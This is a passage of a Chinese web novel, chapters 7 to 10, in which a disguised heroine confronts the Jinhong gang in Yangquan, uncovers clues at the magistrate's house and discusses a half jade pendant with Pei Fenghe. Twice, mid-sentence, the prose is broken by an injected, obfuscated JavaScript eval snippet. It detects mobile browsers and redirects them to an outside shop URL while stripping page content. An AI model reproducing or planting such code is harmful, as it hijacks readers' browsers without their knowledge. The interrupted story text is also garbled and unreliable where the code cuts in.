竹徵和胡娘子同时回头,一群身着靛蓝色短交领上衣的青年正走来,他们脚步倒是轻快,面上也是不羁的得意。 领头的衣着华贵,一身墨绿玉锦袍衬得他多了几分文雅,但走在这群人面前又不失匪气。眸透着琉璃般闪烁的光,星星点点映在这白日里,照出几分虹光。 他眼微闭时酷似民间供奉的菩萨的双眼,溢出一分神圣来,看来就是那些民众嘴里的“菩萨眼”。 他面容深邃,像是被雕刻出来般立体,五官分明,虽然俊朗,但莫名生出一股凌厉之气。 为首的人并未说话,后面一个身材矮小的男人反倒冲上前来,操着一口不熟练的官话:“你是谁?为何不避?” 胡娘子正欲走上前,就听见女子的清脆声音:“阁下又是谁?” 闻声所有人都注意到了街上孤零零的马车,皆向胡娘子身后看去。 戴着帷帽的女子缓缓走下来,她裙上的晚霞在动作之间灵动起来,在这空荡无人的街市上游动着,抓住了所有人的目光。 那男人还想上前,却被那个菩萨眼拦住,他倒也不着急,盯着竹徵看了好一会。 竹徵透过帷帽感受到男人的目光,不知怎地忽觉不适,皱起眉将欲发作。 在她说话之前,菩萨眼就已经开口,“夫人是初到阳泉吧?” 竹徵不喜欢这种毫无准备的冒犯和毫不避讳的目光,但是如今到了别人的地盘,她还是忍下来,微屈身行礼,“妾身初来阳泉,不知这城中规矩,多有得罪,公子慈眉善目,想是不会同我计较。” 菩萨眼眯起他的眼睛,手下人早已按耐不住,他依旧没动。 “你!”手下人没得令也没冲出来,但是一副吃了苍蝇的表情让旁边的胡娘子都偷笑了一下。 但此刻竹徵却有些懊恼,她逞一时口舌之快,有点口不择言了,但是话既已出口,也没有收回来的道理,她站直身子,平视着那菩萨眼。 在帷帽的遮挡下,她只能看见男人隐隐的轮廓,但刚刚在马车上看见的眼睛依旧清晰,被她拼贴在了面前这个身影上。 菩萨眼没动,只冷笑了一下,“慈眉善目?” 竹徵听出来他话里的冷厉,知道此刻已经形势不好,不欲多做纠缠,直直地望着前方,用平静的语言述说,“请公子让路。” 菩萨眼一直立在那没动,反倒是今日这风将竹徵吹得有些站不住,佯作柔弱地咳了两声。 菩萨眼微一抬手,身边的人马上抽出刀剑来,排在他身后,看样子是不轻易放过,“让路可以,我金虹帮在此地界负责纠察,夫人将帷帽取下,我等绝不为难,即刻让路。” 竹徵听了这话没有开口,反而思索起来,纠察一职落在一个地头蛇帮派上,虽然并不是没有先例,但总归奇怪。百姓闻之逃窜也不奇怪了。帮派做事看情面不看法理,面子大过天。此刻已经得罪,作为一个受宠的娇夫人,她必须继续装下去。 胡娘子此刻快走几步,挡在竹徵面前,眼里也迸出几分厉色,“放肆!我家夫人的容貌,也是尔等可以窥视的?” 面对这种指控,菩萨眼那一边的手下也按耐不住了,“我金虹帮在阳泉城也是……” 话音未落,菩萨眼的目光已经扫过去,手下那人战栗了一下,不敢继续说。 菩萨眼没说别的话,只摩挲着自己的佩剑,盯着地面。 竹徵此刻便觉不妙,左侧有剑风袭来,在耳边叫嚣着,危险刹那降临,时间仿佛停滞。 7. 第七章 阳泉 胡娘子在她右前方想伸手去拦,但她踉跄了几步,那把短剑已经从她手指边飞过,几乎要擦过竹徵的耳边。 竹徵不会武功,但胜在反应快。 她戴着帷帽,对风的感知尤为强烈,当面前的纱被吹起时,竹徵就下意识侧身往旁边躲。 因着她的动作,本来应该擦着她耳边飞过的短剑将将划破帷帽的纱,风将已经一分为二的轻纱吹起,露出藏于纱下的女子面庞。 在冷风中站了一阵,她的脸有些微红了,众人在她在纷乱的发丝中窥见了一点春色,宛如一朵晚霞中盛开的牡丹。 众人都不自觉被那张抚媚有余却眼神清明的脸吸引了,正欲仔细端详,她却手脚很快地抓住自己即将翻飞的帷帽,稳稳戴上。 这阵风停,破损的面纱也恢复平静,默默落回原处,仿佛刚刚的场景只是一场幻梦。 竹徵整理好帷帽,轻轻捏住依然不安分跳动的面纱一角,平静的话语里带了几分她平日里少有的愠怒,“公子认清了吧?妾身是受华县令之邀前来的,此番被盘问至此,还要闹到县令那里去吗!” 菩萨眼接过属下递来的刀,面色不虞地拿手帕擦了,这才缓缓让路,“得罪了。” 说罢也不回头,那群人见到主子转身,纷纷跟上。 那方烟霞锦的帕子就如此被丢在灰尘四起的地面,被他们踩在脚下,金贵不再。 这场闹剧终于落幕,在去往县令府的马车上,胡娘子抱着早已冷掉的包子,跟竹徵语重心长地嘱咐。 “夫人呀,你千万要记得出发之前答应将军的,少说少做,一切等他到了阳泉再做打算……” 竹徵心不在焉地应着,挑拣着自己出发前拿手帕包着的点心。 这可是京城容芳斋的海棠酥,即便是在京中,有钱也难买到。要不是公主赏赐,在这种穷乡僻壤,她现在这身份,哪有机会享受。之前一直舍不得吃,但今日再不吃恐怕就要坏掉了。 她不管胡娘子在絮叨什么,只将一块品相还不错的塞进胡娘子嘴里,止住了她滔滔不绝的话语。 “知道啦知道啦,不就是要我好好扮演受县令夫人之邀来赴宴的赵家夫人吗,我保证,下回一定演得端庄典雅,绝不会再像今日一样呛人了。” 胡娘子斜觑了她一眼,嘴里吃着的海棠酥,也不说话了,只剩马车上满溢着的花香与油香。 这话却在竹徵心里埋下了疑惑,她长时间扮演过唐语蓁,按理来说成为曲如桢也不会出什么纰漏。 可是今日那个菩萨眼已经是除了裴风鹤以外,让她失控的第二个人了。 她应该认识那个人,否则怎么会只见到那个人在帷帽之外朦胧的身影,听见一两句无关痛痒的话,就戾气陡生,出言讽刺呢? 但是,所谓的菩萨眼,认识的到底是唐语蓁,曲如桢——抑或是在这些假面之下的她呢? 她轻闭上眼,在脑海中搜寻记忆,整理思绪。 胡娘子吃完一整块海棠酥,说话之中都溢出几分海棠的香气,“对了,刚刚我打听了一下关于金虹帮的事。” 竹徵听见这话来劲了,一扫疲倦,专心致志地听着胡娘子在市井街坊打听的消息。 “金虹帮原来是做漕运的,也就是普通的漕帮,直到五年前穆文成为帮主,应该是打通了官府与帮派之间的联系,后来码头上卸货的规矩越来越严格,金虹帮也渐渐开始管起了城中一些地痞流氓,地位越来越高,行事也越来越嚣张,百姓见到就躲。” 胡娘子接过竹徵为她倒的茶,冲散了喉咙中刚刚吃完糕点的干涩,接着道:“而那个‘菩萨眼’就是穆文的养子,穆常念。他几乎包揽了金虹帮的事宜,手段狠辣,令人闻风丧胆。” 竹徵点点头,又跟胡娘子说起别的话题来,只是心里觉得有些怪异。 穆常念……真是个与他的形象和行为毫不符合的名字啊。 马车行进终于停止,外头车夫说到了县令府,胡娘子便扶着竹徵要下车。 竹徵先把那方包着海棠酥的帕子拾捡好,小心揣在怀里。 还剩一块,要好好留着。 胡娘子捂嘴调笑了几句,竹徵依然面色不变:“行了,我就是爱吃,我们下车吧。” 下了马车两人完全换了一副面孔,胡娘子低眉顺目,顿时就成了女侍,而竹徵已戴上新的帷帽,变成了受邀的赵家夫人。 县令府门口只有两个门倌,见到她来了也摸不准身份,便找人通报。 竹徵在这时节懊悔自己没在马车上好生坐着,但看着这朴素的门庭,确实难以相信这是三天后就要办满月酒的府邸。 此时里头出来了一个看起来稍有品阶,穿着却依旧朴素的管家,“赵夫人,我家夫人请您进去。” 竹徵微微点头,由胡娘子搀着进了门。 走正门进去,管家的却说县令在正厅议事,不好打搅,引着走东边的马厩和家丁院进垂花门。 马厩的味道浓烈,众人经过皆忍不住掩鼻,竹徵却在这浓烈的牲畜气息中嗅出一丝血腥味。 她刚做曲如桢时睡过几天柴房,每天伴着自己身上没有包扎的伤口散发出的血腥味入睡,对这种气味最是敏感。 不过她暂时按下,没有发作,只是偏头看着管家,问道:“平时马厩里没人清洁吗,怎地味道如此大。” 管家连忙摆出陪笑的脸,“是近日这管理马厩的小厮被主人赶出门了,无人打理,自然就是臭气熏天,污了贵人的眼,是小人考虑不周,还请各位见谅。” 说罢便重新伸出手,弯腰引着他们走。 竹徵从管家身上辨出几分微妙来,他举着的手臂微微颤抖,刚刚说话时声音也有点虚浮。 她跟随着管家进了垂花门,到了内院,管家引他们去往正厅。 坐在正厅里的女子,身上衣裙朴素典雅,连发钗也是一根素净的木簪子。厅中氤氲着一股浅浅的花香。 竹徵戴着帷帽,行动颇为不便,此刻终于能摘下,也终于看清县令夫人的脸。 华县令的夫人温柔贤淑是出了名的,她的长相也确实是跟这个传言相符合,眉目清浅,尽是柔情。 华夫人微微指了下身边,“妹妹快来。” 竹徵将帷帽递给胡娘子,点了点头,提着裙子小心地坐到华夫人旁边。 华夫人拉过她的手,亲昵地说:“叫了你许久都不见人,推说身体不适。如今这满月宴倒是请动你了,出来散散心也好,总闷在屋里病怎么能好。” 本来是演戏,但竹徵从华夫人的面容中品出几分真实的关心来,也扬起嘴角,“姐姐平日里与我通书信,我就十分想到这阳泉来看姐姐。可惜我身子不好,夫君疼我,也不愿让我出门,这回我夫君也一道来了,我这才有机会来同姐姐见面。” 说着还拿帕子捂住嘴,咳了两声。 华夫人见状赶紧抚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“对了!就是花香。” “可是花香不是很正常吗?” “不,你记得来的路上我给你吃的海棠酥吧,容芳斋的海棠酥,之所以味道独特,备受推崇,就是他们用了特殊的香料,使这海棠酥油香与花香兼备,却不会腻。” “而刚刚,我闻到的,就是这种味道。” 胡娘子这才恍然大悟,“也就是说,她吃了海棠酥?可是这也没什么问题吧,县令夫人连糕点都吃不起吗?” “这不是问题,问题是容芳斋只能在京城买,而且海棠酥最多放五日,多了一定坏。公主赏赐下来的都是走官道送到丹山镇的,丹山镇离京城近,走官道只需三日。” 胡娘子终于发现端倪,“阳泉离京城要更远一些,走官道都需四日半,能吃上海棠酥,一定是走了官道。” 竹徵接过话头,“但是最近没听说华县令或者其他官员回京,说明他们肯定偷偷入了京,多半是早就站队,要不然一个县令不太可能大开后门。” “而且,我进来就发现,无论是府上陈设还是华夫人服饰打扮,都特别朴素,与这种奢侈相悖,说明他们肯定在掩藏什么。” 胡娘子用敬佩的眼神看着她,“曲娘子,你真是太聪明了,完全看不出来是农妇啊。” 竹徵被这句话哽了一下,讪讪地笑了笑,转移话题道:“但是这些东西,跟我们找张巡无关,当成笑话听听便罢。” 疑问不过是她回家路上,最普遍也最危险的情绪,报仇只是义务,回家才是目的。 8. 第八章 疯子 夜晚。 竹徵早就跟胡娘子商议好,明天以去看游历名医的名义在阳泉县里找找线索。 因此她今日想早些休息,早早叫胡娘子吹了灯睡下了。 夜晚梦魇,她又回到家。 她上高中时其实过的不算开心,学习压力大,她情绪也不太好,天天焦虑自己的成绩,在家里的时候格外爱跟父母吵架。 妈妈那时候每天早上做好午饭,让她带去学校,就为了给她省下去排队吃饭的时间,怕她在学校挑食吃不好。爸爸每天早上六点就起来,开车送她上学。 也爱时不时同她唠叨,用殷切地目光说你考成什么样都没关系,但是又在成绩下滑时忍不住质问,于是又是一场大战。 她好像把最糟糕的部分都给了那时为她谋划的父母,高考结束也没在家待几天,就卷入了这个书中世界。 除了程玉安没人认识她,而他又因为时空局的任务频繁往返与现实与书中,更多的时间她其实是作为一缕意识飘荡,因为她是这本书中唯一弄丢了自己身躯的人。 也是唯一一个永远只能戴上面具的人。 她每次看见裴风鹤其实都会生出隐隐的不满与愤恨。因为就连他,也只认识那副躯壳。 好想回家啊,妈妈会给她做菜,告诉她再不收拾袜子自己一定会全部丢掉,爸爸会在旁边不停地笑,说你们又要吵起来了。 没有人再叫她竹徵,这个名字好像在五年间已成为她孑然一身的幻梦。 她好像被一双手拉入了海底,在海水吞噬下被迫学会如何在此呼吸生存,也永远封存了陆地的记忆,就此成为一条鱼。 泪水不知不觉地从眼角滑到木枕上,木头真硬啊,硌得她生疼,她想念阳光晒过后温暖的床被了,至少不会如此冰凉和冷漠。 这晚梦到父母,终究没睡好,窗外一点动静就醒了。 竹徵坐起身来,今夜注定是再睡不着了,不如出去走走,将外衣披起,头发也不愿梳,秋夜凉,保暖也好。 她小心地经过外间,没有吵醒酣睡如泥的胡娘子,一直赶路,胡娘子又得做出女侍的样子,又得在外打听,每天都很累,散步而已,就不必把她叫起来了。 她帮胡娘子掖了掖被角,自顾地往外走。 刚刚听见外头有些动静,应该是野猫晚上不安分,因此她带了点肉脯,想着实在没事做也可以喂喂猫。 但是当她走出去,并未发现野猫的踪迹,她于是就拿着肉脯漫无目的地走着。 外面风刮得正起劲,竹徵掖紧自己的衣角,尽量不让风灌进去。 晚上不点灯,身边的房屋都是晦暗朦胧的,看不太清。风也用力地刮着,吹起她没绾起的长发,视线也连带着被遮挡,只能分出神来伸手拨开勉强认路。 四下无人,只剩她一个人迷路在这石墙内,总觉得有些可怖。 她摸着墙壁,努力辨认出来时的路,但是除了一样的墙壁和屋檐,再无法看出什么。 忽然风声止住了,她飞扬的发丝也终于落下来,让她有时间能冷静下来。 但远处传来细密的哭声,在空旷又封闭的游廊里回荡,更加显得撕心裂肺,竹徵心被提起来,想起来那些诸如笔仙的鬼故事,提着裙子快走几步。 但那阵哭声越来越近,好像缠绕着她不肯放手,随着细风攀咬着她的发丝,她感觉自己的头发好像被拉住了,往前面跑去,但那股声音却越来越近,直掐住她的脖子。 她想回头,但角度不够,只与墙壁相隔一寸,望着那全部井然堆叠起来的几人高的墙,好像无论怎么逃都是这方石壁,她更加悚然,身上不觉地冒出冷汗,手心也冒汗,甚至难以提稳裙子,又将衣裙卷了几下,死死攥在手心。 她一直往前跑,又不敢将后背全部暴露,只能边跑边还回头。 她终于见到前面拐角有个门,像望见救命稻草一样告诉自己,快一点,再快一点! 她跑到拐角时仍看着后面,生怕那声音追上自己,却没注意门槛,脚下好像有什么东西缠住,重心不控制地往地下走了,她想捞住自己,但只是徒劳,眼看她的脸就要跟地面亲密接触。 忽然有人捞住了她,是用手臂很礼貌地撑住她的身体,手没有触及到她,另一只手环住她的后背,避免她再往地下栽,那人手臂很有力,几乎是瞬间就将她身体推直,她方才能站好与他面面相对。 她在这瞬间,感受到了与这庭院和那方木榻迥异的温暖,是来自于人的体温,下意识紧紧抓住不肯撒手。 刚刚做了想家的梦正怅惘着,出门散步就遇上这种恐怖事件,她刚刚稍微安下的心又被强行拉起,魂已经吓没了半条。 “没事吗?”男人强压的低沉声音传进她耳朵。 她这才将空洞的眼神聚焦,缓慢地将目光移向前方的人。 又是熟悉的眉眼,又是你啊。 又是你拉住我啊,裴风鹤。 她想起五年前她最想家的时候,她成为另一个人,没有她的记忆,却要承担她的责任。 在一个完全陌生的环境,跟一群完全不熟悉的人故作熟稔。 那天上元夜,团圆日,唐语蓁父亲同她说,只有你才是希望。 她忽然就升起一股叛逆来,她不认识他们,他们也只记得唐语蓁而不是她,为什么这个希望要她来承担呢? 她脑海中回溯着这一生,短短十八年,要是死在这里,谁会记得她呢? 连身体都没有的人,又怎么替他们找寻希望。 她不想回那个陌生的家,只在外面走着。 她失魂落魄的样子,很不巧被肖唯安看到了,马上就把这小道消息告诉了裴风鹤。 许是怕她出事他们之间的联姻黄了吧,他来找她了。 他也不上前同她搭话,只默默跟在身后,她只能通过湖边的倒影发现他的踪迹。 他跟着她走了很久,看到小贩卖她爱吃的麻糖也默默买下来,揣在身上跟在后面。 她没在乎他的存在,只在湖边看着过上元夜的人。 外头的游人不少,都是成群结队,一些放花灯,一些猜灯谜,一些逛街游市。 他们互相嗔怪,一个伶俐的少女指着最漂亮的彩头,跟另一位年龄相仿的少年说:“我想要那个!” 另一边归家的游子搀着老母亲,同她说最近身子骨不好,就不要省着碳钱了。 所有人都在团聚,她已不愿再看,终于忍不住撒气,回头质问 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等她哭完抬头发现是裴风鹤时,他就已经贴心地将麻糖递过来,缓解了此刻的尴尬。 “听说吃甜的心情会好,要不试试。” 麻糖是她高中妈妈最爱给她准备的零食,也是她回忆的关口。 看见那麻糖,想起来妈妈说,吃麻糖甜到心里,做题就不会那么苦了。她又止不住泪水,倔强地想偏过头,不让他看见自己的窘态。 裴风鹤却没再愣着,他趁着她没哭出声,将一块麻糖塞在她嘴里。 甜味瞬间在她口腔中扩散,慢慢蔓延到每一寸肌肤,少年手指的温热还在她唇上残留,牵引着麻糖的甜直击心脏,灼伤了她。 太甜了,心脏有点不适。 裴风鹤没有嫌弃她,用衣袖替她将已经被抹得一塌糊涂的脸擦干净,然后才将她从地上拉起来。 他的手很暖,在这冰冷的上元夜里,很像一个烫手的汤婆子,虽然会烫伤自己,但还是叫人舍不得放开熬过这冬夜的希望。 她紧紧拉住他的手,良久都没有放开,一向不太喜欢她的少年却没有挣开,而是任由她牵着。 她没有去疑惑为什么他今天这么认真,只是贪恋这份来之不易的温情,暂时不想回到冰冷的冬夜。 他用清澈的眼睛望着她,“很伤心的话,继续哭也没关系,我会帮你擦干净的。” 她尝着麻糖的味道,第一次在他乡感受到温暖,或许在这一刻,她不是应该保持礼仪的大家闺秀唐语蓁,而只是一个想家的灵魂。 裴风鹤看出了她的窘迫,却没有点破,只是用这种话维护着她可怜的自尊,也在维护她悲惨和隐秘的秘密。 后来她问过他为什么偏偏在那时对她那么有耐心,明明他是特别怕麻烦的人,而且当时他们也才认识没多久。 “可能只是因为,那个上元夜,只有你在伤心吧。” 她听懂了他的言外之意。 或许因为他们都是在这世上,只能将思念隐而不发的游魂。 上元夜里灯火通明,只有他们没有归路。 9. 第九章 酒楼 竹徵在这一刻卸下了所有的防备,在见到裴风鹤那一刻就扑进他的怀里。 她贪恋着这一份温暖,一如五年前的上元夜拉住他不肯放的手。 裴风鹤明显僵住了,他没有将她推开,只是礼貌地将手从她的背上落下,任由她抱着。 竹徵的眼泪早已控制不住地往下滴落,她的眼泪成串着像珍珠项链,已经把裴风鹤的衣襟打湿了。 等到她抽泣慢慢停止,她从他怀里回过神来,裴风鹤才将手里的帕子递给她,“你没事吧?” 竹徵摇摇头,每次都是这一句话,他真是一点创新都没有。 说罢就毫不客气地接过他给的帕子,自顾自地擦起眼泪。 “那个,你的脸!”裴风鹤脸上现出惊愕,颤抖的指着她的脸颊。 她忽感不妙,轻轻抚上自己的脸,手上有湿润的触感,借着月光,看见自己的手上有深色液体,想到刚才的哭声,不妙的预感渐渐包裹了她,“啊!”尖叫已破笼而出,她即刻推开裴风鹤,害怕连他也是…… “我说笑的,还伤心吗?”裴风鹤收回惊讶,恢复了他惯常的神情。 竹徵经这大起大落,这下倒是真不害怕也不伤心了,只将手帕丢给他,气鼓鼓地往前走。 有什么好玩的,幼稚死了。 她如此想着,不管他有没有跟上,只想着逃离这个地方。 转过这个拐角,就是白天管家支支吾吾介绍的马厩。 哭声就在此刻最为浓烈,听起来就在马厩内。 难怪她一直感觉声音缠住她,原来是一直在往这边跑,这声音让她这么狼狈,她一定要看看到底是何方神圣! 她倾身向马厩里面看去,但顷刻之间就有一个身影从马厩里飞起,朝着她的胸口扑来,她没来得及躲闪,后撤几步快速用手挡住脸。 有人有力的手臂揽过她,坚实的脊背抵着她,将她护在身后,然后她就听见什么东西撕裂的声音。 裴风鹤实在是太快了,他应是本来就离得近,再加上他反应很快,那个身影出来时,他一下就挡在她面前,用身躯为她隔出来一方天地。 随后他轻轻将她往后推,果断地将佩剑抽出来刺向前方,势如破竹。 “等一下!”竹徵的话语埋没在剑刺入血肉的声音里。 裴风鹤回头,冷淡地说:“没伤到要害,是个人。” 她顾不上多说,将身上带着的火折子吹亮,缓缓打开马厩的门。 那是一个女人。 或者说,是一个疯女人。 她的指甲长期没有修剪,里面嵌满了泥土与黄沙,她的头发也没有收拾过,上面肉眼可见的小虫爬向发根。 女人的脸上是被杂乱的东西划破的伤口,她眼神失焦,不像个正常人。 当竹徵走到她面前那一刻,她好似又受到了刺激,忽然暴起,又朝着她的胸口来。 裴风鹤在她身后又要去拦,却发现曲如桢早就一脚踏在她的胸口上,狠狠将她踹倒在地。 “事不过三,我又不是猪。”不知道她在同谁说话,但站在一旁的男人还是尴尬地摸了摸鼻尖。 竹徵往衣衫的胸口处掏了掏,拿出她本来欲喂猫的肉脯。 “你想要这个?” 女人看到肉脯又激动起来,但是竹徵依旧紧紧踏在她的身上,使其动弹不得。 她回头对裴风鹤使眼色,然后就把肉脯向角落里一丢,随即松开脚。 女人马上朝着肉脯爬去,全然不管身后的人。 裴风鹤看着竹徵坚定的眼神,无奈地上前往女人脖颈间一敲,女人随即倒下。 竹徵等他动作完了,才拿着火折子往女人身上照,一边还蹲下上手摸女人身上。 这种疯子问不出来什么,还是找点能看出来什么的东西吧。 她回头想让裴风鹤帮忙,他却早已退避至马厩外。 她再一次被这个人的“礼”给打败,边搜边问他,“不是说刀剑无眼吗,你上战场看到这种场景也得退避吗?” 裴风鹤却没打趣,“战场上的是俘虏是伤兵,以此做借口来遮掩对女子的不尊重,才是真的虚伪。” 竹徵听见这话站起来,看着裴风鹤的身影。 他依旧立在那,没有转头,让人只能看见他的背影,月光撒在他身上,衬得他越发清朗。 背上是刚刚女人撕裂的伤口,还隐隐地透出些血渍。 竹徵想起了一句话,“岁寒,然后知松柏之后凋也。” 他却不像松柏,而像寒梅,遗世独立是真,香气逼人也是真,但却难有人穿过寒风与冰冷立于他身侧。 “快点,再慢点天都快亮了。”裴风鹤催促她,她才回过神来,继续在女人身上摸索着。 她在女人的领口处摸到一个半圆形硬的东西,拿出来才发现那是一块由一方玉色手帕包着的,冰凉的玉佩。火光之下她看不清纹样,却能摸出右上方有一块缺口,应是不小心磕出来的。 她将东西拿走,揣在自己身上,看到外头渐亮的天光,才偷偷摸摸地从马厩出来,将裴风鹤拉到一旁。 “今日午时,城中玉华楼见。” 裴风鹤再抬起头,只能见到她挥手离去的背影。 他今日本来是夜探,没查出什么还待到现在,已经完全超出了他的计划,他必须得离开了。 于是也只能将疑惑按下不表,原路返回从院内翻出去。 ———— 午时。 玉华楼的生意红火,胡娘子搬出了官家娘子的名头才好不容易订到了一间包厢。 竹徵走入时才发现,玉华楼请了些演皮影的,以往都是边嗑瓜子边听说书,这玉华楼倒是另辟蹊径。 送上来的菜也是从皮影故事的场景来的。 这操作怎么这么耳熟呢? 竹徵没有想起来端倪,只能先随着小二的指引往楼上走。 坐下来她才发现,原来这包厢里也有这皮影戏,只是裴风鹤没来,她擅自开席也不妥。 百无聊赖之际,她问小二:“你们这玉华楼掌柜的是谁?” 小二恭敬道:“是刘昀刘掌柜,您看这街角那典当行也是我们刘掌柜的。” 竹徵回想了一下那个典当行,没什么印象。 一个人同时管理酒楼和典当行,要么就是上头有人,他只是个幌子,要么他是个大人物,大家都不敢得罪他。 很显然,她来了两天都没有听过这号人物,应该是前者。 想到此时已经有人推开门,她偏头看去,裴风鹤今天没有穿骑装,而是一身雪白暗花广玉兰云锦长袍,佩了一个竹子纹样的玉佩。 她觉得那玉佩有点眼熟,但确实想不起来在哪见过。 她向上看去,裴风鹤今日带玉冠,不着战衣更显清冷,多了几分遗世独立的味道。 他的鼻尖痣依旧为他整张脸增色不少,这样看他就同谪仙下凡尝人间烟火般,多了几分人情味。 他微微抿了一下唇,说的话才叫惊为天人,“夫人,久等了。” 她顿时瞳孔地震,愣了好一会才发现小二在一旁,手都有点不听使唤地抖了一下,声音也不稳,“啊……噢,那个,夫君,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14289439|152085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们开始吃吧。小二上菜。” 等小二得令退下,她才长舒一口气,毕竟还是在阳泉县里。这几日她玩嗨了,忘记了还有一个“宠爱自己”的相公。 这个赵大人肯定只能由裴风鹤来扮演,今天估计就是演戏的开始。 裴风鹤自己将披风放到一旁的架子上,坐下来才说:“先吃饭。” 到了阳泉,自是要试试这里的特色。 小二将幕布推出来,吹了灯方才开始看这皮影戏。 “相传数百年前,曾有一位女子,她吸天地精气而生,集灵气一体,体质奇异。” “而她化为人形后,遗落到凡间一普通人家,因容貌不足,受尽屈辱,被此家人看不起,但因其能力出众,留下她作为打杂丫鬟。” 皮影小人一直是委坐在地上的姿态,旁边许多皮影人围着她,看那动作像是指指点点。 “但主人家并不善待她,反而对她动辄打骂,这家小姐更加一有不顺就拿她出气。” 小二此时端上来第一道菜,名曰“水秀山清”,景观的“山”用蔬菜做成,而高汤从“山上”倾泻而下,流到有着菌菇“石子”的小溪里。 “一日她上山砍柴,在山上遇见了促使她化为人形的仙子。仙子告知她,她可以改换容貌,利用自己的能力占卜得到预言。” “但前提是有人愿意相信她,她的能力才能成真。” “砍柴回来时,她遇见了小姐的未婚夫。未婚夫看着她身上的伤,很是心疼她,答应帮她去劝慰小姐。” “她很感激,遂问他相不相信她有能改变容貌的能力。” “未婚夫只当她是说笑,于是说相信,结果她果真变成了倾国倾城的大美人。” 原先平凡暗淡的皮影小人在此刻被换成了一位高大,环佩叮当的美人。 “他没有被这场景吓到,反而饶有兴致地说她比小姐有意思。” “回到小姐家里,小姐又开始打骂她,居然是因为未婚夫说她比小姐有趣。看到她的脸,小姐就更嫉妒了,又把她打得下不来床。” 第二道菜上桌,居然是“高山流水”,将胡萝卜等雕成了两个小人,用红烧肉拼成了一个古筝模样,那俩小人围坐古筝旁,俨然就是故事里的侍女与未婚夫。 “未婚夫来到家里解救了她,并说看出了小姐蛇蝎心肠,决意与她退婚。” “小姐为了挽回未婚夫,赶紧换了一副面孔,说自己会对她好,未婚夫心软了,于是就答应了。” 小二上了第三道菜,叫“真心假意”,上来的是一整个赤蟹,轻轻撬开,里面却有一整个未煎熟的鸡蛋,蟹黄和流心蛋搅在一起,倒是别有一番风味。 “姑娘在家时小姐没有再打过她,但是一直威胁逼问她是怎么改变容貌的。还将她送往庄子上,不让未婚夫找到她。” “姑娘很伤心,等着未婚夫来找她。她问小姐,他们有没有成亲,小姐不理她,只说他一定会娶她。” “姑娘不堪其扰,终于在某一夜里改变了自己的容貌,偷跑出来。” “她找到了未婚夫,未婚夫也一直在找她,只是小姐把她藏的太深。” “为了报答未婚夫,她利用自己的占卜能力帮未婚夫积累了巨大的财富。” “但是小姐有一天找上门,自愿献身,只求未婚夫能收留她……” “不用演了。”此话一出,正上菜的小二和正在卖力表演的皮影师都愣住了。 裴风鹤向竹徵看去。 竹徵用筷子夹了一口蟹肉,吞下去才缓缓说:“这种烂透的故事,不听也罢。” 10. 第十章 玉佩 “上菜吧,故事就不必演了。放心,钱照样付。”竹徵挥挥手,身边人就都退下去了。 裴风鹤疑惑地看着她,她搁下筷子,解释道:“不用演我都知道后面是什么,不过是那未婚夫不愿意留下小姐,只愿意一生一世一双人,但是姑娘觉得小姐可怜,将她留下,每天看着他们卿卿我我,最后痛苦早逝。姑娘和那位未婚夫恩爱如常,最后一起坐拥荣华富贵。” “这种故事再过一千年我都嫌弃。” 裴风鹤饶有趣味地看着她,“要是你会怎么做?” 竹徵摆弄着小二上上来的最后一道“鸳鸯戏水”,“不是要有人相信才能使用的能力吗?我自己相信自己还不够吗,非得拉个人搞什么虐恋情深。” “在现实里,未婚夫利用完她,照样三妻四妾,而她除了成为菟丝子,没有别的选择。” “明明是她的能力,从头到尾未婚夫也只是沾了光而已,名气和财富却要共享甚至独占。” 裴风鹤将她最爱的“真心假意”从她面前移开,“螃蟹生冷,要少食。” 竹徵瞪了他一眼,刚刚拿起的筷子又再度搁下,“这故事像是哪个少女的幻想,反正我不喜欢,不说这个了,昨天我在那个女人身上搜到了这个。” 说着从身上掏出一个玉佩,这玉佩是半圆造型,材质是岫玉,晶莹剔透,上雕葫芦祥云,只是坠子已经老旧了。 裴风鹤的表情立时严肃起来,他接过那玉佩,上手摸了才知道,那玉佩上方还有一个小缺口,像是不小心磕的。 “你见过这个玉佩吗?”裴风鹤的眼神凌厉起来,他的手已经按在身边的剑上,似乎她说没见过就会立马抽刀。 竹徵被他这动作刺伤了一瞬,但是她心里清楚,这事与裴风鹤的仕途有关,没有过多计较,“见过,在张巡身上。” 裴风鹤被她这话吓到了,将手从剑上拿下来,低眉说:“抱歉。” 竹徵摇摇头,兴致不高,勉强挤出一个笑容,“你见过它?” 裴风鹤也没有说话,沉默了一瞬,似乎在考虑要不要说。 “不想说算了,裴将军的事,我确实也没资格知道。”竹徵已经没有心情继续坐在这,起身就要离开。 裴风鹤马上站起来伸手拦住她,“我没见过它,但是我见过另一半。” 竹徵立即反应过来,也就是说,裴风鹤应该知道玉佩主人的身世。 “另一半,在肖家大公子肖唯安身上。” 竹徵这一刻才猛然抬头看着裴风鹤,这事怎么会跟肖家有关! “这一块上是葫芦,肖唯安身上的那一块,是蝙蝠。一个是‘福’,一个是‘禄’,两块合在一起,才是‘福禄双全’。” 裴风鹤依旧是刚刚拦住她的姿态,但她已无心再离开。 “所以,抱歉,刚刚看见这枚玉佩就反应过度了。” 肖唯安是裴风鹤的好友,虽然肖公子对外风流成性,但对于他的妹妹,他是捧在手里怕摔了,含在嘴里怕化了。 因为他妹妹早在十五年前,年仅五岁时就被拐卖,直到五年前才靠着玉佩被认出来,回到肖家。 她做唐语蓁时也早发现了,肖唯安是妥妥的妹控,舍不得让她吹一点风受一点苦。 可是,这个玉佩……怎么会出现在这里呢? 竹徵拿着那玉佩的手不住地颤抖,心里有一个大胆的猜想…… “可是,肖小姐不是五年前就找到了吗?怎么会又出现一枚玉佩?”她拼命抑制住自己声音的抖动,捏紧了那枚玉佩。 